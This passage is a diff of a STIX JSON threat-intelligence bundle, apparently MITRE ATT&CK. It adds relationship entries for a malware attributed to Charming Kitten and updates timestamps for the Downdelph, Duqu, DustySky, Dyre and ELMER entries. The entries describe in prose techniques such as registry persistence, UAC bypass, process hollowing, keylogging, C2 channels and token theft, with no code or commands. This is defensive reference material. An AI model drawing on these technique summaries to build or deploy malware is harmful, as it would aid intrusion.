+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Airbus Derusbi 2015",
+                    "description": "Perigaud, F. (2015, December 15). Newcomers in the Derusbi family. Retrieved December 20, 2017.",
+                    "url": "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--ef318b23-1b8c-4c24-ad20-09c0977a73b3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses the command line.",
+            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e3909a5f-ebfb-48e1-b0fc-5737217a994b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses PowerShell for execution.",
+            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--521146dd-185d-4a8c-a3b4-b3caedbc7a14",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "searches and reads the value of the Windows Update Registry Run key.",
+            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--82826722-4278-438e-a8d0-5bd9fd117b2b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses PowerShell to add a Registry Run key in order to establish persistence.",
+            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d7bb00a0-fbe6-4622-84ed-be32ff5d8561",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "communicates to its C2 server over HTTP.",
+            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--396edbf6-41b5-4377-90b6-4967c24de7fb",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects the victim host name and serial number, and then sends the information to the C2 server.",
+            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--6cf42ee6-a064-4d8a-99d4-8aa0f878ae2a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects the victim username and sends it to the C2 server.",
+            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--6a0f3ebb-c805-402f-bb2e-aac2f8d174fa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Downdelph bypasses UAC to escalate privileges by using a custom \u201cRedirectEXE\u201d shim database.",
             "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
@@ -39030,7 +46029,7 @@
             "id": "relationship--f4f5b6a4-26d5-4352-a25d-001a51a0a121",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Downdelph uses DLL search order hijacking of the Windows executable sysprep.exe to escalate privileges.",
             "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
@@ -39051,7 +46050,7 @@
             "id": "relationship--9c7a9bd0-4f52-4c10-8e79-3b6e72d431d1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After downloading its main config file, Downdelph downloads multiple payloads from C2 servers.",
             "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
@@ -39072,7 +46071,7 @@
             "id": "relationship--0e27ebb3-2d48-48f6-ab99-968c0a992c61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Downdelph inserts pseudo-random characters between each original character during encoding of C2 network requests, making it difficult to write signatures on them.",
             "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
@@ -39093,7 +46092,7 @@
             "id": "relationship--9253e8b3-9fbb-4149-a2e4-60d36c006ba6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Downdelph uses RC4 to encrypt C2 responses.",
             "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
@@ -39114,7 +46113,7 @@
             "id": "relationship--46660a8a-7724-4577-b09e-551a1ce61bfc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu creates a new service that loads a malicious driver when the system starts. When Duqu is active, the operating system believes that the driver is legitimate, as it has been signed with a valid private key.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39135,7 +46134,7 @@
             "id": "relationship--7c3b845e-56ca-4580-b060-a3fa42b86a86",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu will inject itself into different processes to evade detection. The selection of the target process is influenced by the security software that is installed on the system (Duqu will inject into different processes depending on which security suite is installed on the infected host).",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39156,7 +46155,7 @@
             "id": "relationship--f64acb43-91b8-431a-ad0a-ad22afe5851a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu is capable of loading executable code via process hollowing.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39177,7 +46176,7 @@
             "id": "relationship--4ac3f9d6-73e6-49d0-a49a-329eca1f5a3a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39198,7 +46197,7 @@
             "id": "relationship--8d0d938e-2e4c-49e8-9290-6bfb86161260",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39219,7 +46218,7 @@
             "id": "relationship--47e827f6-ec1d-4f16-80ab-0c54254ff42c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu is capable of using its command and control protocol over port 443. However, Duqu is also capable of encapsulating its command protocol over standard application layer protocols. The Duqu command and control protocol implements many of the same features as TCP and is a reliable transport protocol.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39240,7 +46239,7 @@
             "id": "relationship--c0905059-1f3c-414c-8027-b8ec2e4b3c89",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "When the Duqu command and control is operating over HTTP or HTTPS, Duqu uploads data to its controller by appending it to a blank JPG file.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39261,7 +46260,7 @@
             "id": "relationship--7cb48d6d-1171-4e9d-87c7-4779293f6921",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Duqu command and control protocol's data stream can be encrypted with AES-CBC.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39282,7 +46281,7 @@
             "id": "relationship--1451c4a3-5dc6-4744-8120-197f3a3134c1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39303,7 +46302,7 @@
             "id": "relationship--611cb6eb-efdb-4d74-b354-5064ab52bd34",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Modules can be pushed to and executed by Duqu that copy data to a staging area, compress it, and XOR encrypt it.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39324,7 +46323,7 @@
             "id": "relationship--03fc71a1-c589-4396-b5c7-70dfde49c55c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Modules can be pushed to and executed by Duqu that copy data to a staging area, compress it, and XOR encrypt it.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39345,7 +46344,7 @@
             "id": "relationship--0f3af4de-b1cc-4cc2-9eb7-9aa46cdebfcd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Modules can be pushed to and executed by Duqu that copy data to a staging area, compress it, and XOR encrypt it.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39366,7 +46365,7 @@
             "id": "relationship--2db406cf-667d-4ad6-b768-7645f6663ac9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The discovery modules used with Duqu can collect information on accounts and permissions.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39387,7 +46386,7 @@
             "id": "relationship--938a71e3-a9dc-4ad9-b1c4-b15d75967b8d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The discovery modules used with Duqu can collect information on network connections.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39408,7 +46407,7 @@
             "id": "relationship--dbf13cc5-f61b-41fd-96fa-d0bac20549bc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The reconnaissance modules used with Duqu can collect information on network configuration.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39429,7 +46428,7 @@
             "id": "relationship--3b0a7f6a-173f-41e6-8dec-2d1b4a0851d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The discovery modules used with Duqu can collect information on process details.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39450,7 +46449,7 @@
             "id": "relationship--bbc31a33-f55f-43d4-a3fd-23426c5fc638",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The discovery modules used with Duqu can collect information on open windows.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39471,7 +46470,7 @@
             "id": "relationship--0b823cda-4775-4690-9ea6-02bbaa3522a1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu can track key presses with a keylogger module.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39492,7 +46491,7 @@
             "id": "relationship--8d7cd505-3b0e-4e90-bf47-6552612958dc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adversaries can instruct Duqu to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39513,7 +46512,7 @@
             "id": "relationship--448a35fc-fecf-4373-9888-30c37dd1d56a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adversaries can instruct Duqu to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39534,7 +46533,7 @@
             "id": "relationship--bdee01a7-16cb-417e-8d9b-c98afd445bbc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adversaries can instruct Duqu to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39555,7 +46554,7 @@
             "id": "relationship--968610c5-7fa5-4840-b9bb-2f70eecd87fa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu examines running system processes for tokens that have specific system privileges.  If it finds one, it will copy the token and store it for later use.  Eventually it will start new processes with the stored token attached.  It can also steal tokens to acquire administrative privileges.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
@@ -39576,7 +46575,7 @@
             "id": "relationship--f9773935-853e-4d5e-9345-9587fd77340d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky scans the victim for files that contain certain keywords from a list that is obtained from the C2 as a text file. It also collects information about installed software.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
@@ -39596,7 +46595,7 @@
             "id": "relationship--ad50f322-18b6-43c7-bf6b-f77f4932fdad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky checks for the existence of anti-virus.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
@@ -39616,7 +46615,7 @@
             "id": "relationship--f33725f4-cce5-4868-b494-d73419c76bdf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky collects information about running processes from victims.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
@@ -39636,7 +46635,7 @@
             "id": "relationship--c008b7f3-0507-4987-a7e4-8c4d57cb4ca5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky extracts basic information about the operating system.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
@@ -39656,7 +46655,7 @@
             "id": "relationship--40772ec1-2f25-425f-aad5-635f64ba8fd2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The DustySky dropper uses a function to obfuscate the name of functions and other parts of the malware.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
@@ -39676,7 +46675,7 @@
             "id": "relationship--6a58662b-4eb1-4172-b387-13e9b574368a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The DustySky dropper uses Windows Management Instrumentation to extract information about the operating system and whether an anti-virus is active.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
@@ -39696,7 +46695,7 @@
             "id": "relationship--9a7ff784-436b-40c5-bfb0-25e02e1d9940",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky achieves persistence by creating a Registry entry in <code>HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code>.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
@@ -39716,7 +46715,7 @@
             "id": "relationship--3eb29574-145d-4d4a-b4c6-e94b8a79781e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky searches for removable media and duplicates itself onto it.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
@@ -39736,7 +46735,7 @@
             "id": "relationship--ad5f49b0-8b92-43d1-99f3-c691ccb7a8ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky searches for network drives and removable media and duplicates itself onto them.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
@@ -39756,7 +46755,7 @@
             "id": "relationship--5e2e672a-02d4-4510-a629-942d44a558f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky contains a keylogger.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
@@ -39776,7 +46775,7 @@
             "id": "relationship--b2ab26e2-eb90-4f19-b35a-b8a0a5438961",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky has two hard-coded domains for C2 servers; if the first does not respond, it will try the second.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
@@ -39796,7 +46795,7 @@
             "id": "relationship--2892eada-7633-4428-80e0-0e965d5faf5c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DustySky has used both HTTP and HTTPS for C2.",
             "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
@@ -39816,7 +46815,7 @@
             "id": "relationship--17f9d6c8-f938-4532-b834-3834655911b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Dyre crimeware toolkit has refined its detection of sandbox analysis environments by inspecting the process list and Registry.",
             "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe",
@@ -39837,7 +46836,7 @@
             "id": "relationship--771c349e-1b23-41ea-bcab-59bdbd6c935f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ELMER is capable of performing process listings.",
             "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
@@ -39858,7 +46857,7 @@
             "id": "relationship--10619fa8-c479-4b61-9aac-ee08f00114d1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ELMER is capable of performing directory listings.",
             "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
@@ -39879,7 +46878,7 @@
             "id": "relationship--76e75bfe-b72c-471b-9a26-eab5ed04a812",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
